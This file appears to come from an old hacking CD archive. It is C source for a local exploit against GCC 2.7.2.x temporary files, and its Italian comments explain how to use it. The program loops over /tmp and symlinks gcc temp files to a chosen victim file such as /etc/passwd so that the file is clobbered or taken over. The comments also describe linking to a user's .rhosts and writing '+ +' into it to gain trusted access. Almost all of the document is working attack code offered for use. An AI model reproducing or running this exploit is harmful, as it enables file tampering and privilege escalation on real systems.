home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / gccsploit.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  2.4 KB  |  83 lines

  1. /*
  2. GCC 2.7.2.x exploit
  3.  
  4. Crea un link su un file temporaneo di gcc con destinazione -> victim_file
  5. Il programma aspetta dei file tmp di gcc... e poi fa il link.
  6.  
  7. Uso: ./a.out /etc/passwd &
  8.  
  9. Spero che questa roba che ho scritto funga... il prog funziona cosi':
  10. una volta eseguito per restare in background... cerca nella directory
  11. /tmp dei file temporanei di gcc e grazie ad un bug (in pratica questi file
  12. temporanei seguono il link simbolico) potete far vostro un file che non lo
  13. e'...
  14. Questo programma potrebbe essere scritto in modo piu' proficuo per esempio
  15. leggendo attraverso una struttura di tipo "stat" l'uid del file temporaneo
  16. e facendo quindi un link su .rhosts della home dell'utente con quell'id
  17. e poi scrivendoci sopra un "+ +".
  18. Sinceramente anche se e' abbastanza facile farlo non ho coglioni di scrivere
  19. una cosa del genere visto che attualmente lavoro con una versione del gcc
  20. gia' patchata :)
  21. Questo programma puo' essere ottimizzato per esempio per essere reso piu'
  22. veloce e per far si'che dopo un ciclo non vada a rifare i link su link
  23. gia' creati prima...
  24. Purtroppo capisco perche' Michal Zalewsky non abbia scritto una versione in
  25. C di tale exploit... fare uno script bash di questo tipo non richiede
  26. praticamente niente rispetto al programma...
  27. Anch'io come pigrizia non scherzo... im sorry :)          pIGpEN
  28.  
  29. */
  30.  
  31. #include <unistd.h>
  32. #include <dirent.h>
  33. #include <stdio.h>
  34. #include <string.h>
  35. #include <sys/time.h>
  36. #include <sys/resource.h>
  37.  
  38. #define EXPLOIT_NAME "gcc 2.7.2.X exploit"
  39. #define ERROR -1
  40. #define GCC_FILE "caa"
  41. /* questa costante potrebbe causare problemi a file su /tmp che cominciano per
  42. caa... ma sinceramente oggi sono troppo scazzato per cercare una soluzione a
  43. tutti i problemi della vita :) */
  44.  
  45. main(int argc, char *argv[])
  46. {
  47. FILE *fp;
  48. struct dirent **filelist;
  49. char cmd[100];
  50. int c_ret;
  51.  
  52. if(argc!=2)
  53.  {
  54.   system("clear");
  55.   printf("%s \nWritten by pIGpEN/s0ftpj\n",EXPLOIT_NAME);
  56.   printf("Exploit by Michal Zalewsky\n");
  57.   printf("Usage: %s victim_file\n",argv[0]);
  58.   exit(ERROR);
  59.  }
  60.  
  61. if((fp=fopen(argv[1],"r"))==NULL) // va bene anche l'access() con mode F_OK
  62.  {
  63.   printf("Victim File Not Found\n");
  64.   exit(ERROR);
  65.  }
  66.  
  67. else fclose(fp);
  68.  
  69. setpriority(PRIO_PGRP,0,20);
  70. for(;;)
  71.    {
  72.     c_ret = scandir("/tmp", &filelist, 0, alphasort);
  73.     while(c_ret--)
  74.      {
  75.       if(strstr(filelist[c_ret]->d_name,GCC_FILE)!=NULL)
  76.        {
  77.         sprintf(cmd,"ln -sf %s /tmp/%s",argv[1],filelist[c_ret]->d_name);
  78.         system(cmd);
  79.        }
  80.      }
  81.    }
  82. }
  83.